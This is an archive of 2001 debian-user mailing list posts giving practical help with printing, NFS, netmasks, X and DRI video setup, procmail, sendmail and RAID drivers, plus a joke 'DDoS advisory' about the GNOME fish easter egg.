Re: can't get banner page to print
On Wed, 2001-10-24 at 10:28, Mike Egglestone wrote: Hi, I have a fairly new install of Potato r3 and have apt-get install magicfilter and lprng. I have an hp 940c deskjet printer attached to /dev/lp0 # # This file was generated by /usr/sbin/magicfilterconfig. # lp|hp940c|hp940c:\ :lp=/dev/lp0:sd=/var/spool/lpd/hp940c:\ :sh:pw#80:pl#66:px#1440:mx#0:\ :if=/etc/magicfilter/deskjet-filter:\ :af=/var/log/lp-acct:lf=/var/log/lp-errs: This is the printcap file from my system (sid). # This file was generated by /usr/sbin/magicfilterconfig. # lp|dj940|HP deskjet 940c:\ :lp=/dev/dp0:sd=/var/spool/lpd/dj940:\ :sh:pw#80:pl#66:px#1440:mx#0:\ :if=/etc/magicfilter/dj500c-filter:\ :af=/var/log/lp-acct:lf=/var/log/lp-errs: -- first impressions are bunk (unknown)
Re: exporting /usr NFS for small network
Richard Cobbe wrote: Lo, on Wednesday, October 24, joe golden did write: I am getting tired of updating 7 machines. I have home directories exported NFS for our network (with minimal security concerns) and this seems to work fine. My question is how do I export usr NFS. What are the configuration issues. How must disks be partitioned? Are all the X/card and monitor specifics guaranteed to be all in /etc? If any of these specs are in usr I'll have hashed spaghetti flying everywhere in no time. So long as the distributions in question follow the FHS (see http://www.pathname.com/ for details), then sharing /usr like this is fine. According to the FHS, /usr is for shareable, read-only data; config files belong in /etc. I'm pretty sure Debian qualifies here. I don't think partitioning is relevant to this situation; NFS exports files and directories based on the directory structure, not the physical devices. I was looking for advice on pitfalls to avoid. The only thing I'm not sure how to do is keep /usr/local local to each machine, even though /usr is mounted across the network. This may or may not be a requirement in your situation, however. I don't think you need to worry about that. From FHS 2.2, section 4.9.1: The /usr/local hierarchy is for use by the system administrator when installing software locally.It needs to be safe from being overwritten when the system software is updated. It may be used for programs and data that are shareable amongst a group of hosts, but not found in /usr. So you shouldn't need to keep /usr/local seperate on each machine. If your particular installation required such an arrangement, you could mount /usr from an NFS server, and then you should be able to mount /usr/local from a local partition if required. If a need for different /usr/local is present in your environment, you will have a concern here. A possibility is to have your NFS server export something like: /export/usr, /export/usr/local/flavor1, and /export/usr/local/flavor2. Then, on your machines you would do the following: on machines that need to have flavor 1 of local: mount nfsserver:/export/usr /usr mount nfsserver:/export/local/flavor1 /usr/local on machines that need to have flavor 2 of local: mount nfsserver:/export/usr /usr mount nfsserver:/export/local/flavor2 /usr/local (bad example, since I believe you'd have to export HTH, Richard -- Rich _ Rich Puhek ETN Systems Inc. _
Re: Green blinking 'D' in console
On Mon, 2001-10-22 at 18:09, Dmitriy wrote: On Mon, Oct 22, 2001 at 10:13:19AM -0700, Erik Steffl wrote: wayne wrote: erik Voodoo 3 2000 PCI, same thing here. :-( Happens when switching from X to VT. I saw this a while ago, although there was a lot more chaff on the screen. IIRC, it only happened when I was using a framebuffer'd VT. Switching to a normal text display removed it. This was under rh7.1, I think. (V3 3000 pci) -- first impressions are bunk (unknown)
Re: Trouble installing Potato on Dell Poweredge 2450
Stuart, Do you have the Perc 2 or the Perc 3? I believe you are probably running the Perc 3 if you have a 2450. Very nice card, but it's a little bit of a challange to get it working. See the following for info: http://lists.debian.org/debian-user/2001/debian-user-200101/msg00453.html Also see Kevin's page at: http://www.merilus.com/~kevin/aacraid.html --Rich Stuart Allen wrote: I am having trouble installing Potato on a Dell Poweredge 2450. The problem appears to be the Perc 2/DC RAID controller. When booting off the rescue floppy, the system hangs after the following three lines of output: megaraid: v1.11 (Aug 23, 2000) megaraid: found 0x8086 : 0x1960:idx 0:bus 0:slot 2:func 1 scsi2: Found MegaRAID controller at 0xe0004008, IRQ: 11 From what I have found on the net, support for this controller is built into the standard kernel. Perhaps I need some special boot parameters? One I have tried without success is aic7xxx=no_probe. Regards, Stuart -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] -- _ Rich Puhek ETN Systems Inc. _
Re: Movie makers for Linux?
On Wednesday 17 October 2001 01:02, Eric G. Miller wrote: ucbmpeg works (more or less). You have to write a control file and it takes a bit of tweaking to get good results, but it's doable. It likes pnm files (though I think it will use png directly as well). ucbmpeg uses mpeg_encode. it clashes with netpbm. netpbm uses ppmtompeg. Both of them take the same configuration file. There are examples in /usr/share/doc/ucb-mpeg/mpeg_encode/ I think. fame and its friends may be worth pulling if you don't need B frames. hth cheers, Rich
Re: network number
Hmmm, Your network number should be correct, and you're right about what the netmask *should* be. Apparantly an installation script got horribly confused about netblocks. Try hand-editing your network file with the correct information. --Rich Stan Brown wrote: I upgraded a Debian machien this weeknd, and now it wants a bit more information in the /etc/network files. It wants network number I'm confused by this. Heres what I have IP 170.85.109.24 netmask 255.255.255.128 I put in 170.85.109.0 for a netwokr number, but this must be wrong based upon what the broadcast adress of the interface becomes. It should be 170.85.109.127, but instead it's 170.85.255.255 -- Stan Brown [EMAIL PROTECTED] 843-745-3154 Charleston SC. -- Windows 98: n. useless extension to a minor patch release for 32-bit extensions and a graphical shell for a 16-bit patch to an 8-bit operating system originally coded for a 4-bit microprocessor, written by a 2-bit company that can't stand for 1 bit of competition. - (c) 2000 Stan Brown. Redistribution via the Microsoft Network is prohibited. _ Rich Puhek ETN Systems Inc. _
Re: network number
Dave Sherohman wrote: On Mon, Oct 08, 2001 at 10:44:45AM -0400, Stan Brown wrote: Heres what I have IP 170.85.109.24 netmask 255.255.255.128 I put in 170.85.109.0 for a netwokr number, but this must be wrong based upon what the broadcast adress of the interface becomes. It should be 170.85.109.127, but instead it's 170.85.255.255 Add the following lines to /etc/network/interfaces: netmask 255.255.255.128 broadcast 170.85.109.127 What's happening is that 170.x.x.x falls within the address range originally allocated for Class B netblocks (networks with a netmask of 255.255.0.0), so ifconfig is assuming that your network is a Class B. If you explicitly specify the correct information, it will be used instead. Dave, True, that would be the correct netmask if he was in the old 170.85.0.0 class B, but doesn't the network address take precedence in determining the netmask (as far as the configuration scripts go, not as far as IP addressing goes)? Sounds like Stan did enter in his network address correctly, so it's strange that his broadcast got set to the default Class B mask. --Rich _ Rich Puhek ETN Systems Inc. _
Re: Not Resolving on new box
On Sunday 07 October 2001 17:17, Adahma Ashirah wrote: I've just re-installed Debian unstable onto a new box. At first it worked fine, but suddenly I cannot resolve anything. I can talk to the internal network, as well as the internet by IP address, but nothing resolves. I've been through all my files that I know to be involved in this process, and can't find any problems. Can anyone give me a list of ANY file that might effect this process? I've tried for 2 days now, and I'm at wits end. Did you switch to kernel-2.4-9? I had odd problems using 2.4.9, because it enables ECN by default. Try echo 0 /proc/sys/net/ipv4/tcp_ecn and see if that fixes it. cheers, Rich.
Re: How to run testing and stay sane?
On Sunday 07 October 2001 22:04, Richard Cobbe wrote: [snip] Before I do the upgrade, though, I'd like to ask for advice on general tactics people use for running testing or unstable and still maintaining a mostly usable system. Testing seems to run pretty fine by itself. If you so much as suspect a problem, you just do apt-get install fred/stable and see if it goes away; if it does, you'll probably want to reportbug fred possibly after reinstalling fred/testing. I know breakages will happen from time to time, I can only think of one app in some months that I *had* to do the above with. but I'd like to minimize their impact as much as reasonable. Basically, I don't mind spending a little bit of time and energy dealing with issues, but I'd prefer to use my computer primarily to get useful work done, rather than constantly tweaking the OS and packaging system. So, what I already know: * Know the packaging tools. Besides just reading the man pages for apt, dpkg, and dselect, are there any other places I should go for information? * I know how to do the upgrade (edit /etc/apt/sources.list, then apt-get update ; apt-get dist-upgrade); I'm mostly interested in methods for maintaining the system after it's been upgraded. Leave the stable entries in sources.list, just copy them and substitute names. Then the downgrade trick will work. What I'm not clear on * If a particular package breaks, it would be useful to roll back to the last working version of that package (where possible). Trick is, this requires having the last working version of the package available for install somewhere. Do the Debian download servers maintain old versions of the package files, or would I have to keep copies of them all locally? They're in stable. Or, if you use a local apt-mirror with the delete setting set low, they're in there. [snip rest; I have no good answers] cheers, Rich.
Re: Voodoo3. DRI, X4.1.0 and Bus mastering - Still no joy
On Thu, 2001-10-04 at 07:31, Jason Healy wrote:
At 1002229481s since epoch (10/04/01 02:04:41 -0400 UTC), john wrote:
It's interesting that you say you have DRI working but not bus mastering.
Can
you run setpci on the device and see if bit 3 of word 4 is set? If so my
problem
isn't bus mastering at all.
I think that says that I don't have BusMastering on (That's what the little
minus sign - means, right? I'm not a PCI expert, so you'll have to help
me on this one). Let me know if I should run {ls,set}pci with different
options to give you better output.
As well, here's an lspci report on my video: as you can see, the 3dfx
mentions nothing about bus mastering.
Bus 0, device 19, function 0:
VGA compatible controller: 3Dfx Interactive, Inc. Voodoo 3 (rev 1).
IRQ 11.
Non-prefetchable 32 bit memory at 0xfc00 [0xfdff].
Prefetchable 32 bit memory at 0xf600 [0xf7ff].
I/O at 0xe800 [0xe8ff].
Bus 1, device 0, function 0:
Display controller: ATI Technologies Inc 3D Rage Pro AGP 1X/2X (rev 92).
Master Capable. Latency=32. Min Gnt=8.
Non-prefetchable 32 bit memory at 0xf900 [0xf9ff].
I/O at 0xd800 [0xd8ff].
Non-prefetchable 32 bit memory at 0xfa8ff000 [0xfa8f].
Re: Voodoo3. DRI, X4.1.0 and Bus mastering
On Tue, 2001-10-02 at 20:30, john wrote: Thanks for replies so far Stephen Gran suggested that I look for a setting in the BIOS to search PCI 1st. Unfortunately the BIOS in this machine has a funky graphical UI (i.e. is designed for stupid people) and has no options suitable. This is completely frustrating. The machine in question is one of those 'E-Machines', a budget buy from CostCo. Has anyone got DRI working woith a Voodoo3 PCI in one? I've got a eMachine 466is, and yes, I've got dri working. First, to get the v3 recognized as the primary display: In the graphical bios screen, find pci/pnp setup. In that submenu, find initial display select. That's where you set the pci slot as the primary video display. Second, make sure that you have _only_ xlibmesa from X4.1.0 installed. You should have no other mesa packages installed. Also make sure you have libglide3 installed. Be sure libglide2 is not installed. I've also cut out what I -think- are the important parts of my XF86Config-4 file. Section Module ... Load dri Load glx ... EndSection Section Device Identifier Voodoo3 (generic) Driver tdfx VendorName Voodoo3 (generic) BoardName Voodoo3 (generic) EndSection Section DRI Mode 0666 EndSection I hope this helps. Don't forget that the DefaultDepth in the section Screen needs to be set to 16. If this is too much detail, well, maybe someone else can use it :)
Re: display manager related
On Sat, 2001-09-29 at 14:40, dman wrote: On Sun, Sep 30, 2001 at 02:44:01AM +0530, Jeffrin Jose T. wrote: | | Is there any technical advantage in using a display manager | to start X window system apart from using xinit related | stuff from the command line ? You get a nice pretty screen to login to. You can use XDMCP. You can allow nice shutdowns without logging in first. You could have a list of users (with icons or mug shots) to point-n-click from rather than typing the name. I don't know if all of these are desirable, but those are some of the features provided by gdm. -D Plus you can have several different xsession configurations available a mouse click away.
Re: Needing a random number generator for scripting
Dave gets my vote for the best answer.
I'm a bit biased in that I like a meat grinder approach with sed, awk,
cat, and a lot of pipesigns, but you've got to admit, his little
oneliner script is much tidier than the here's how it's done in my
favorite language answers.
Dave Thayer wrote:
awk 'BEGIN {srand()} {print rand() \t $0 }' unshuffled.m3u \
| sort | cut -f2 shuffled.m3u
_
Rich Puhek
ETN Systems Inc.
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adduser - X access?
Howdy all, This is probably a very simple mistake which I am overlooking but I cannot find any info - I've added the userguest to my home machine so that my in-laws can access the internet during the day whilst watching the grandkid I was going to set up their X Window session that the only icons visible were pon/poff and konqueror - however, I can't even get into X as guest... is this a group issue? WDM just flashes to the X-screen briefly and then back to WDM. Any other issues to make sure that all they can do is connect to the net and save files to their own home directory? thanks in advance, rich
mame quake obsolete?
I'm running woody - why have mame and quake both become obsolete? (i could do without quake, but mame is a must!) thanks in advance
Re: OT: vim syntax highlight on C program files only?
* Rob Hudson ([EMAIL PROTECTED]) wrote: I found stuff like this before and have been using it: When using mutt or slrn, text width=72 autocmd BufRead mutt*[0-9]set tw=72 autocmd BufRead .followup,.article,.letterset tw=72 Thank you very much. Rich
Re: Balsa hangs by sending mails
* Timeboy ([EMAIL PROTECTED]) wrote: Hi! Yesterday i tried balsa 1.1.7-3 from Sid. It looks great: I can receive mails and also all other things may be working great. But if i try to send a mail balsa hangs. There is no error message and no other information about this on console. There is only one thing i don't know, which could have to do with this. In the settings for identity, there is a possibility to define a domain. This line is blank, cause i don't know why i can set a domain here. POP and SMTP server i set in the preferences. Any idea? Timo take a look at balsa-list@gnome.org archives. IIRC there was a thread about it recently.
Re: [Fwd: [Fwd: Re: The Sound of Silence]]
* Oliver Elphick (olly@lfix.co.uk) wrote: Curt Howland wrote: One more comment: I continue to get /dev/dsp: Device or resource busy when trying to use sound. If I cat message.au /dev/audio even as root, I get the message /dev/audio Device or resource busy. Some other program has it open. You may have missed a thread response above; I'm not sure who replied, (deleted) but he suggested you drop yiff. The current questions are, what programs are you trying to use sound with? Is it compatible with yiff? If not, does yiff allow sharing of /dev/dsp? I paraphrase the essence of his reply: drop yiff, use esd as god intended
Re: X: Changing resolution
* Steve Dondley ([EMAIL PROTECTED]) wrote: Problem: Pressing CTRL-ALT-+/- (numeric) doesn't change my screen resolution setting. X (with sawmill) always starts out in 1024 x 768 with 16 bpp (65,000 colors) and I can't figure out how to change it. Background: For practice, I just installed X from scratch. I configured the XF86Config file with xf86config. I've got 1 MB of video ram on an S3 chipset. I set three resolution settings with the program: 1024 x 768 at 8 bpp, 1024 x 768 at 16 bpp, and 800 x 600 at 24 bpp. Question: How do I change monitor resolution/color depth in X? To put it another way, how do I get CTRL-ALT-+/- to work? Thanks. This is a great list. Set up each display subsection with the resolutions you want, similar to: SubSection Display Depth 24 Modes 1152x864 1024x768 800x600 EndSubsection CTRL-ALT-+/- will rotate thru the modes you have defined. Be aware, XFree86 uses a virtual display, which if not explicitly defined, will be the first mode defined (i.e., the 1152 from mine.) Moving the mouse to the edge of the screen will scroll the actual display around the desktop. I know this sounds strange, but You'll See.
update-menus fails for normal user, but not for root
Howdy all, not too long ago, update-menus stopped working for me suddenly... now i just get a long string similar to the following message: rm: cannot unlink `/usr/share/applnk/Multimedia/Debian': Permission denied ln: creating symbolic link `/usr/share/applnk/Multimedia/Debian/Sound' to `/home/rich/.kde/share/applnk/Debian/Sound': Permission denied it still works when logged in as root, however. I have purged and re-installed menu, but it still does the same thing - any ideas? thanks in advance, rich
audio works, but only as root
Howdy all, I've got my soundblaster card working, with appropriate entries in /etc/modutils, but it will not autoload, and I have to do: su -c modprobe sb to get it to work. My /etc/group entry has: audio:x:29:rich so why can't I start sound as my (non-root) self? Thanks in advance
Re: DRI problems...
* Cameron Matheson ([EMAIL PROTECTED]) wrote: Hey, I'm trying to get this cursed Voodoo 3 3000 working in Woody, but it doesn't seem to want to. I've installed the following packages: mesag-glide2 glutg3 libglide2 libglide3 // i installed this after libglide2 didn't work alone I'm using X4.0.3. I have DRI, AGP, and tdfx all compiled into the kernel (2.4.9). When I type glxinfo, it says that DRI *is* enabled (i'll attach output from glxinfo and startx), but i have no acceleration, and GL programs run so slow it nearly kills me. Anyone know what might be wrong? I use the voodoo 3 3000, and have had DRI working before under RH 7.1. I'll see if I can get it up again (Check my notes, etc.) Ok, tuxracer is accelerated. First get rid of mesag-glide2 and libglide2. Those are for XFree 3.3.x. Second, make sure you have all the XFree86 4.x stuff installed, in par- ticular xlibmesa3. Third, check for any other mesa stuff, and get rid of it. XFree provides all the mesa you need. Fourth, make sure that tdfx is actually loaded (/usr/sbin/lsmod). Probably, since glxinfo claims dri is enabled, the extra mesa stuff is intercepting calls. I spent days finding that problem the last time.
Re: OT: Looking for 10/100 ISA NIC's for Linux project
Gack! $70? That seems a bit pricy for an ISA card. 10/100 cards in an ISA slot? That's a bit odd... On the off chance you meant to type PCI, not ISA, I'd use the 3c905 card from 3com. They're supported, reliable, and they're $45/each if you buy them in a 25-pack from Datacomm. If it's a school, you can probably get an education discount from a reseller (not sure if a charter school will qualify for 3com's GEP program, or whatever it's called now). Search around out there, and you can probably find someone selling a lot of 100 used cards for much less per card. Or, if you really want ISA and 10 meg, go with the trusty old 3c509. Again, you should be able to find plenty of used ones there for well under $70 each. --Rich John Purser wrote: Hello, I'm looking for a source for nearly 100 10/100 ISA Ethernet cards for a linux network I'm helping with at a local Charter School. I've found some for around $70 but was hoping to cut that price in half if I could. Anybody got some leads or recommend a particular card to buy and/or stay away from? Thanks, John Purser _ Rich Puhek ETN Systems Inc. _
Re: Something fishy is going on
Warning: New Distributed Denial of Service attack on the loose! Synopsis: In a dastardly clever (yet simple) scheme, a new DDOS is attaching Linux newsgroups at an increasing rate. Artfully designed to capitalize on user paranoia following the massive hype surounding the Code Red family of worms, this program simply startles the user by having a fish swim across their desktop at some unpredictable time. Upon receiving this signal, the PC user will respond in one of three modes, depending on the time of day: Sleep mode: If the victim is infected late at night, the user will attribute the apparition to too much caffeene and not enough sleep. Result: user sleeps indefinately. Propagation mode: If the user is infected during the workday, the user will attempt to reproduce the phenomanon, possibly on neighboring systems. Attack mode: If inected during the late afternoon or evening, the user will transfer a SMTP message to a mailing list. The result is to trigger a small transfer of data on said list as other clients attempt to handle the data. Although the attack mode is of low traffic, we anticipate that the cumulative result of many thousands of clients will eventually bring the Internet to a halt. The client behavior after the attack is currently unresearched. A group is studying the possibilty of constructing a fishbowl, so that more detailed analysis may be conducted. Suggested Snort rules: alert tcp any any - $HOME_NET 25 (msg:Wanda Infection detected!; content:fish;) alert tcp any any - $HOME_NET 25 (msg:Wanda DDOS response detected!; content:Gnome Easter Egg;) Remedy: Applying procmail rules to filter the initiating email may help limit the response to the email probe message. Unfortunately, this will not be effective unless adopted on a wide scale. /funny --Rich [EMAIL PROTECTED] wrote: Jeez, this has popped up on the list A LOT lately ... check the archives. It's an apparently harmless Gnome Easter Egg. Poor Wanda has come in for a lot of paranoia the last month or so! :) Glenn Becker -- _ Rich Puhek ETN Systems Inc. _
Re: forgot root password on head- and keyboardless machine *blush*
Heh... got screwed by the AT/PS2 keyboard problem huh? Happens here at work all the time. Got a few trusty old AT-style machines and a few newer ATX cases with PS2 keyboards and mice. I'd either bite the bullet and buy a keyboard (they're not that expensive...and yours is probably looking kinda beat up now isn't it?) or I'd buy an adaptor for the AT to PS2 style. You should be able to find an adaptor at Radio Shack, Circuit City, etc. Or, raid a PC boneyard at a computer store or large business around you. They should be overflowing with junky keyboards. You probably won't care if the spacebar needs to be hit a few times, just as long as it's somewhat functional. --Rich Stig Brautaset wrote: * dman [EMAIL PROTECTED] spake thus: On Tue, Aug 21, 2001 at 06:02:07PM +0100, Stig Brautaset wrote: | I have a head- and keyboardless machine running debian potato that I | used to log into with ssh. Now I have forgotten the password. *blush* The easiest way is to borrow a head and keyboard from somewhere and boot into single user mode. Hmm, now if you had a way to reboot ... I know that this is a solution but I don't have a keyboard. I have a screen I could use, but I really don't want to buy a new keyboard just to do this... (my friends all have ps/2 keyboards, whilst my machine uses the old din-style). Regards, Stig -- www.brautaset.org _ Rich Puhek ETN Systems Inc. _
Re: XDM
* Greg Wiley ([EMAIL PROTECTED]) wrote: On Tuesday, August 21, 2001 10:37 AM, [EMAIL PROTECTED] wrote: I'd like to revert back to logging into a command prompt and starting X from there. apt-get remove xdm If you want to keep xdm on your machine, but disabled: update-rc.d -f xdm remove the following will prevent xdm from restarting if it is updated: update-rc.d xdm stop 10 6 .
Re: Killing your keyb.controller... was: Re: forgot root password on head- and keyboardless machine *blush*
Emil Pedersen wrote: Just to add some more noice to the list ;-) [statement] Hot-plugging keyboards works _MOST_ of the time. It is true for at least PS/2-keyboard, since the only machine I've managed to destroy this way is an Digital Celebris 590. My other machines with PS/2 have survived, so for ps2 types the statement is true. When it comes to DIN-keyboards, I have NOT been able to kill any machine this way. Finaly, since I have one more Celebris 590 I _could_ verify that these machines DO die when keyboard is hot-swapped, but I think it might be a waste of computers if I succeed... ;-) Regards, Emil Btw. Have anyone mantioned those adapters for some dollar or two? I'm sure it's possible to physically damage a machine if: a) you managed to short some wires together (Mac types have been warned not to plug/unplug ADB devices since circa 1984 for this reason). b) in the process of fumbling around, you managed to send a stout jolt of electrostatic discharge into the keyboard port. Physical damage should not be confused with an OS (or BIOS?) that gets confused by the sudden absense/presence of a keyboard (back to Mac, ADB addresses the devices semi-dynamically at startup IIRC, hence a potential ID conflict if you add a device later). BTW: yes, a couple of people (including myself) have mentioned the adapters. --Rich _ Rich Puhek ETN Systems Inc. _
Re: META QUESTION: how to read a bulk list (and stay happy :-)
dman wrote: On Tue, Aug 14, 2001 at 10:24:31PM -0500, Rich Puhek wrote: | Personally, I'm stuck with an NT box at work, so I end up using Netscape Not to fear -- mutt works great with cygwin (just patch attachment.c to use binary mode for opening files or else M$ will screw up the streams)! I haven't tried fetchmail or procmail though (I ssh to the school's system like I'm doing now which is Solaris). -D I suppose I could try that. Problem is, I'm really an elm guy for text mail reader (not too surprising to see a :x at the bottom of my Windows emails). Of course, now I switched to Maildir/ format, so I'm back to pine. --Rich _ Rich Puhek ETN Systems Inc. _
Re: How to answer
On Tue, 14 Aug 2001 21:36:21 Gilles Pelletier wrote: I'm used to a web - news interface, but not to email - news. I can't post directly to th enewsgroup. I suppose that's normal. I received two copies of some posts, none of others. Answering to any any of the two copies I received, sends the reply to sender, not to the newsgroup. I'm using Eudora. How's this supposed to work? If I follow you correctly, you're reading the lists off usenet, right? Probably subscribing to the list directly for a while would make it easier. http://www.debian.org/MailingLists/
Re: Network card
On Tue, 14 Aug 2001 13:40:40 Eileen Orbell wrote: Hi, What is the simplest, compatible network card I should purchase for a new Debian install? Thanks in advance I got this one at a computer superstore for $12. Everything worked fine. Linksys Network Everywhere Fast Ethernet 10/100 model NC100 (rev 11)
Re: debian-user-digest Digest V101 #1132
Kevin C. Smith wrote: I recently saw a list become almost useless because of name calling, snipes, and such. Just let it pass, please. Just wanted to plead for the turning of the cheak strategy. Thanks. Or, in modern Internet terms, a turn on the bozo filter strategy. I find those kinds of emails amusing at times. When I tire of it, it's killfile time. The user can yell and scream to be removed from the list, argue that the Internet won't be truly free until everyone runs their own root server with their own TLDs, can have a long-running debate about the personal hygene habits of Bill Gates, or any other offence that's landed them there, and it won't bother me at all. --Rich _ Rich Puhek ETN Systems Inc. _
Re: Why is Debian lagging so much behind Slackware?
On Tue, 14 Aug 2001 18:47:07 Gilles Pelletier wrote: We're a small group mulling over the respective merits of Debian and Slackware for a newbie. Of course, since apt-get takes care of installing dependencies and upgrading the whole installed software, we were leaning towards Debian. The newbie, even though his concerns for security are limited, wouldn't have to care too much about it. Only a tiny problem remains. Potato is not up to date and it's apparently difficult to upgrade software unless you get patches at specialised places ( http://kde.tdyc.com for the KDE 2.x serie, for instance. ) You then must hope the patch is well done. We though about installing Woody, but, as you people know, the boot disquettes don't boot yet. Potato must first be installed and an upgrade made to Woody. Newbies might not appreciate... As for Woody, once again, it's going to be out... when it's ready, which might as well mean in June 2002, one year after Slack was out. As a pretty much newbie, going from potato to unstable (I definitely fit in the BTW below!) was not a problem; in fact, IMO understanding /etc/apt/sources.list is the first step a newbie should make on debian. I got absolutely nowhere until I got a grasp of that file and it's implications. snip Is apt-get really worth this huge delay? We do plan to teach the newbie some fundamentals. BTW, in case you wouldn't know, even newbies like to be cutting edge... even more so than oldies I'd say : )
Re: META QUESTION: how to read a bulk list (and stay happy :-)
John Galt wrote: .procmailrc recipie: :0: * ^Resent-From: debian-user@lists.debian.org debian-user About 99.9995% effective. On Wed, 15 Aug 2001, Gaelle T. Morin wrote: Um, how about using: X-Mailing-List: debian-user@lists.debian.org instead of the Resent-From? I believe that's what that header is intended for. Of course, not every mailing list has that feature, but for those that do, you're going to have better luck than with Resent-From:, To:, CC:, and similar headers. Personally, I'm stuck with an NT box at work, so I end up using Netscape for email reading. It's a PITA, but better than anything else I've found (Eudora bugs me for some reason, The Bat! costs money, and don't even talk to me about Outlook). I parse all mailing lists (Some of which are even more active than deb-user!) into seperate folders. Then, I can scan through the folders quickly, either by date or by thread. Some things are handy in curses-based environments, but a quick scroll bar in Windows (or, X, I suppose) works pretty well for scanning mailing lists, expecially once you get the feel for the list. --Rich -- _ Rich Puhek ETN Systems Inc. 2125 1st Ave East Hibbing MN 55746 tel: 218.262.1130 email: [EMAIL PROTECTED] _
Re: Sendmail directories... /var/state/sendmail...
Ian, Those directories are used to store state information about hosts your sendmail has tried to contact. By storing the info here, sendmail can check to see what the last state was of a host it may have recently tried to connect. The idea is that if you have multiple queue runners delivering mail, each runner knows if a host is already known to be down, and won't waste its time trying to deliver there. You are correct in that it's kind of a reverse hash, with top level domains under /var/state/sendmail (or whatever directory you specified with HostStatusDirectory) and that subdomains exist under there. The bat book has more info on the guts of the files you find there, if it's any concern to you. It also suggests that you try enabling and disabling persistent host status to see which is best for performance on your system. Anyone have any comments on running that on a filesystem other than ext2? I've noticed that a df of that directory (or even a simple ls of the com subdirectory) can take a long time on ext2. Perhaps reiserfs or something like that might be better suited for such a directory? --Rich Ian Perry wrote: Hi, I have noticed some wierd directories on one of our mail servers, and so I checked the others. hey are on all of them in some varying degree or another. /var/state/sendmail then ae. at. au. etc (SNIP) I can see that these are in reverse order... such as acay.com.au Is this a quick DNS lookup or what purpose do they serve ? Many Thanks Ian _ Rich Puhek ETN Systems Inc. _
Re: problems upgrading from stable
On Fri, 03 Aug 2001 13:26:53 Michael P. Soulier wrote: On Fri, Aug 03, 2001 at 01:08:08PM -0700, Rich Rudnick wrote: The recommended fix (search the archives) is to upgrade to woody first, then sid. Worked for me. I assume that they're fixing this problem though, no? I mean, it should work, and Debian has the wonderful tendency to do what it should. Mike -- Michael P. Soulier [EMAIL PROTECTED] With sufficient thrust, pigs fly just fine. However, this is not necessarily a good idea. It is hard to be sure where they are going to land, and it could be dangerous sitting under them as they fly overhead. -- RFC 1925 I'm still new to debian, but I'm here because these things do get fixed :) Rich
Re: problems upgrading from stable
On Fri, 03 Aug 2001 13:08:10 Patrick Kirk wrote: Me too. It was a fresh install and I formatted again. - Original Message - From: [EMAIL PROTECTED] To: Michael P. Soulier [EMAIL PROTECTED]; Debian User Mailing List debian-user@lists.debian.org Sent: Friday, August 03, 2001 9:10 PM Subject: Re: problems upgrading from stable | I had the same error when upgrading from 2.2R2 | --- Original Message --- | From: Michael P. Soulier [EMAIL PROTECTED] | To: Debian User Mailing List debian-user@lists.debian.org | Subject: problems upgrading from stable | | Hey people.=20 | | So, I just installed 2.2r3, with only a base system, and then | dist-upgraded to unstable...almost.=20 | | libreadline4 died at a perl script saying that it couldn't find | libdb2.so.3. Looks like it introduced a dependency without | installing the | required packages.=20 | Has anyone else run into this? | | Mike | | --=20 | Michael P. Soulier [EMAIL PROTECTED]=20 | With sufficient thrust, pigs fly just fine. However, this is not | necessari= | ly a | good idea. It is hard to be sure where they are going to land, | and it could= | be | dangerous sitting under them as they fly overhead. -- RFC 1925 | The recommended fix (search the archives) is to upgrade to woody first, then sid. Worked for me.
Re: Deb-Newby: Read HOWTO's?
On Wed, 01 Aug 2001 20:35:45 Peter Hicks wrote: At 03:12 AM 08/02/2001 +0100, Brett Parker wrote: On Wed, Aug 01, 2001 at 08:59:21PM -0500, d wrote: LURKER here again, what is used to read the HOWTO files? All of the ones I have on my system are **.gz, I know that means compressed. What to use to uncompress? When I used to work on UNIX systems you used a command called compress with different switches to do that or to uncompress. As usual one for the road, if those that are NOT a user nor a programmer would put in the Subject some thing like what I have installed would help MOA find the ones with the 'HOLD MY HAND' instructions and save me and I am sure many others much time searching for thingys that could be useful to me/us. cough, suggestion, zless. it'll probably be installed... failing that, gzip -dc filename | less Cheers, Brett or zcat filename.gz | more or, if you use gnome, 'gnome-help-browser /usr/share/doc/HOWTO'. Very useable. I've got a panel button for it :) Rich
Re: centrally managed bookmarks for multiple users, accessible from everywhere?
The easiest way to have a shared bookmark is to just have a links page... just raw HTML. Your users could connect right to it by typing it in, could make it their home page, etc. A more advanced step would be to write something like a PERL CGI or a PHP program to allow the users to update the page. Even more advanced (Perhaps overkill) is to store the info in a MySQL database, and have the page generate automagically. MySQL would not actually be the program listening, your central machine would have a webserver running for the users to connect to. If you want to integrate the bookmarks into a browser, just have the clients synchronize their bookmarks file with the master file, either manually or through a cron job. The actual transfer could be ftp, wget, rsync, etc. If you've got NFS mounting, you could have some neat tricks with an NFS mount and symlinks, etc... --Rich Walter Tautz wrote: I was wondering if it would be possible to keep bookmarks on a central machine where one could access and change them via any browser than can ``connect'' to the bookmark server. To elaborate: It seems to me that one could adapt a standard database program like mysql that listens to connections from the network to centrally manage bookmarks from a multitude of users in such a way they could add and delete entries from a browser running anywhere. Perhaps the newer opensource browsers will have a module like this? -- _ Rich Puhek ETN Systems Inc. _
Re: Adaptec Raid
Michael, You need to patch your kernel to add the necessary drivers that support the Adaptec card. Adaptec hasn't gotten the message that Linux is not RedHat, so it's not a trivial process. See: http://people.FreeBSD.org/~gibbs/linux/ for the necessary patches for the kernel. If you're trying to boot off of the array you'll need to create a custom boot floppy. If your boot partition (and probably your root partition) are running off of the other SCSI controller, you can start the install, then patch the kernel. That part (custom disk) gets tricky, but it's doable. Basicly, you'll compile the kernel on another box, make a copy of your boot disk, and replace the kernel image on the boot disk with your new image. I've got the 2100S running fine for the last few months on a box I did this too. Once I get off my lazy butt I'll post images of my boot disk somewhere to save the headache of creating your own. Good luck! --Rich Michael Blood wrote: Hello, I am attempting to install Debian 2.2 on a box with an Adaptec 2100s Raid 5 Controller. After creating the disk array using the utilities that come with the adaptec card. All that being done I run the debian installation. When using the default installation the process reports that it can not find any hard drives to partition. when I view the script it shows that it can find another scsi adapter that I also have in the box but it does not find the raid controller. I have already tried to run at the boot prompt boot: linux aha152x=iobase but I get the exact some results. Does any one have suggestions. Thanks, Michael Blood -- _ Rich Puhek ETN Systems Inc. _
Re: Adaptec Raid
